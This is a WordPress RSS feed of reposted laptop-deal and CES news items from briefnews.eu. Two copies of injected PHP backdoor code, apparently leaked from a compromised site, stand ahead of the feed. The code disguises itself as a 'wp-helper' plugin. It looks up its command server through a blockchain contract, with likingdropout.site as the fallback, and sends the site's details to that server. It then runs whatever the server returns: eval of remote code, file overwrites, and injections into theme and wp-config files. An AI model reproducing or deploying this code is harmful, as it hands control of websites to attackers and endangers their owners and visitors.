// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); 15inch – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 16 Jan 2018 20:02:23 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png 15inch – Brief News https://briefnews.eu 32 32 Dealmaster: Get a new 15-inch Dell laptop with a Core i7 for $580 https://briefnews.eu/dealmaster-get-a-new-15-inch-dell-laptop-with-a-core-i7-for-580/ https://briefnews.eu/dealmaster-get-a-new-15-inch-dell-laptop-with-a-core-i7-for-580/#respond Tue, 16 Jan 2018 20:02:23 +0000 http://briefnews.eu/dealmaster-get-a-new-15-inch-dell-laptop-with-a-core-i7-for-580/

Greetings, Arsians! Courtesy of our friends at TechBargains, the Dealmaster has returned from his weekend break with another list of sweet, beautiful deals in tow. For a relatively random Tuesday in January, today’s crop of deals is surprisingly strong: For one, we’ve got the latest iteration of Dell’s Inspiron 15 5000 laptop down to $ 580. You still can’t expect the world from something like this—its storage mixes a 128GB SSD with a 1TB HDD—but that’s not a bad price for a 15-inch device with a 1080p display and 8th-gen (i.e., latest) Intel Core i7 chip.

Beyond that, we have discounts on a high-end version of Apple’s 12.9-inch iPad Pro, a 55-inch model of LG’s acclaimed C7 OLED TV, Amazon’s new Echo Show speaker, and several other gadgets and accessories. Take a look for yourself below.

Note: Ars Technica may earn compensation for sales from links on this post through affiliate programs.

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]]> https://briefnews.eu/dealmaster-get-a-new-15-inch-dell-laptop-with-a-core-i7-for-580/feed/ 0 HP launches new 15-inch Spectre x360 2-in-1 convertible laptop https://briefnews.eu/hp-launches-new-15-inch-spectre-x360-2-in-1-convertible-laptop/ https://briefnews.eu/hp-launches-new-15-inch-spectre-x360-2-in-1-convertible-laptop/#respond Mon, 08 Jan 2018 10:20:23 +0000 http://briefnews.eu/hp-launches-new-15-inch-spectre-x360-2-in-1-convertible-laptop/

HP is wasting no time taking advantage of the détente between Intel and Advanced Micro Devices (AMD), which have gotten together to package a processor and a graphics chip in a much smarter way in laptops.

The Palo Alto, California-based computer giant is unveiling the HP Spectre x360 convertible laptop, which has a 15.6-inch 4K (3840 x 2160) display with better battery life than past machines at 12 hours. HP is showing off the machine at the 2018 Consumer Electronics Show (CES), the big tech trade show in Las Vegas this week.

Above: Intel and AMD are teaming up.

Image Credit: Intel

HP is using Intel’s 8th Gen Core processors in the laptop, together in a special package for the first time with an AMD Radeon RX Vega M graphics chip. The two chips are connected on the same piece of silicon via an eight-lane PCI Express 3.0 bridge, Embedded Multi-Die Interconnect Bridge (EMIB). It also uses High Bandwidth Memory 2 (HMB2), a more power-efficient stacked memory technology that AMD pioneered and has since been turned into an industry standard.

The innovative solution results in a savings of several square inches of board space in a computer, as well as better battery life and higher performance. HP was able to add more cooling options to the machine, allowing it to have better power efficiency.

Above: HP’s new 15.6-inch Spectre x360 convertible laptop.

Image Credit: HP

The main processor is an 8th Generation Intel Core i7-8550U processor. It has 512 gigabytes of internal storage, 16GB of main memory, and it weighs 4.6 pounds. About three years ago, such a system would have weighed about 6 pounds.

It has a hinge that allows it to convert in different modes, such as a tablet mode or a presentation mode. It goes from zero to a 50 percent charge in just 45 minutes. The 4K IPS display has 8.2 million pixels with a 178-degree viewing angle. It also has Amazon Alexa voice service, a digital pen, and USB-C Thunderbolt connectivity.

HP also has another version of the Spectre x360 with an Nvidia graphics chip.

The PC Gaming channel is presented by Intel®‘s Game Dev program.

VentureBeat

]]> https://briefnews.eu/hp-launches-new-15-inch-spectre-x360-2-in-1-convertible-laptop/feed/ 0 Dealmaster: Get a 15-inch Dell laptop with a Core i7 processor for $650 https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-core-i7-processor-for-650/ https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-core-i7-processor-for-650/#respond Wed, 03 Jan 2018 02:52:38 +0000 http://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-core-i7-processor-for-650/

Greetings, Arsians! The Dealmaster is back in the saddle after celebrating another New Year up at Dealmaster HQ, and courtesy of our friends at TechBargains, we’ve got another crop of discounts in tow. As usual, there are plenty of offers on laptops and other PC accessories, including Dell’s Inspiron 15 7000 with a 7th-gen Core i7 marked down to $ 650. (If you’re willing to trade a little bit of design flair, the $ 580 Inspiron 15 5000 deal we’ve highlighted in the past is still live, too.)

The rest of the rundown includes deals on Sonos’ Play:1 and Play:3 speakers, a high-end 4K TV from Vizio, some smart home gear, and more. You can check it out for yourself below.

(credit: TechBargains)

Note: Ars Technica may earn compensation for sales from links on this post through affiliate programs.

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]]> https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-core-i7-processor-for-650/feed/ 0 Dealmaster: Get a 15-inch Dell laptop with a Core i7 for $580 https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-core-i7-for-580/ https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-core-i7-for-580/#respond Fri, 15 Dec 2017 22:05:46 +0000 http://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-core-i7-for-580/

Greetings, Arsians! Courtesy of our friends at TechBargains, we have another round of deals to share. While the Dealmaster hopes you haven’t left all your holiday shopping until now, we do have a few solid bargains for those who haven’t gotten started yet. Dell is running a number of sales on its line of Inspiron and XPS laptops, for one, while the rest of the list includes sales on quality gadgets like the PlayStation 4 Pro, Sonos Play:1, Bose QuietComfort 25, Amazon Echo Dot, and Amazon Kindle Paperwhite among others. You can take a look at the full rundown below.

(credit: TechBargains)

Note: Ars Technica may earn compensation for sales from links on this post through affiliate programs.

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]]> https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-core-i7-for-580/feed/ 0 Dealmaster: Get a 15-inch Dell laptop with a Core i7 CPU for $470 https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-core-i7-cpu-for-470/ https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-core-i7-cpu-for-470/#respond Thu, 07 Dec 2017 22:11:38 +0000 http://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-core-i7-cpu-for-470/

Greetings, Arsians! Courtesy of our friends at TechBargains, we have another round of deals to share. The discounts have officially calmed down a bit since the Black Friday and Cyber Monday bonanza, but there are still a few items worth noting. Today’s list includes a 15-inch Dell Inspiron laptop with a Core i7-7500U chip, 8GB of RAM, and a 1TB HDD for $ 470. Just note that the display is stuck at a 1366×768 resolution.

If that doesn’t interest you, the rest of the list includes deals on Amazon’s Echo Show and Echo Dot speakers, select Lenovo laptops, and more. You can take a look at the full rundown below.

(credit: TechBargains)

Note: Ars Technica may earn compensation for sales from links on this post through affiliate programs.

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]]> https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-core-i7-cpu-for-470/feed/ 0 Dealmaster: Get a 15-inch Dell laptop with a 512GB SSD for $580 https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-512gb-ssd-for-580-2/ https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-512gb-ssd-for-580-2/#respond Fri, 17 Nov 2017 08:44:04 +0000 http://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-512gb-ssd-for-580-2/

Greetings, Arsians! Courtesy of our friends at TechBargains, we have another round of deals to share. We’re in a bit of a “calm before the storm” mode with Black Friday a week away, but today’s list still has a few discounts worth noting, including a number of deals on Dell laptops and early Black Friday savings on Bose’s QuietComfort 25 noise-cancelling headphones and iRobot’s Roomba 690.

You can check out the full list below.

Note: Ars Technica may earn compensation for sales from links on this post through affiliate programs.

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]]> https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-512gb-ssd-for-580-2/feed/ 0 Dealmaster: Get a 15-inch Dell laptop with a 512GB SSD for $580 https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-512gb-ssd-for-580/ https://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-512gb-ssd-for-580/#respond Tue, 17 Oct 2017 19:37:38 +0000 http://briefnews.eu/dealmaster-get-a-15-inch-dell-laptop-with-a-512gb-ssd-for-580/

Greetings, Arsians! Courtesy of our friends at TechBargains, we have another round of savings to share. Today we’ve got more laptop deals, headlined by a $ 340 discount on a Dell Inspiron 15 5000 laptop with a Core i7 (7th-gen) processor and 512GB SSD. Other bargains on PCs, mesh W-iFi routers, 4K TVs, and more can be found below.

Note: Ars Technica may earn compensation for sales from links on this post through affiliate programs.

(credit: TechBargains)

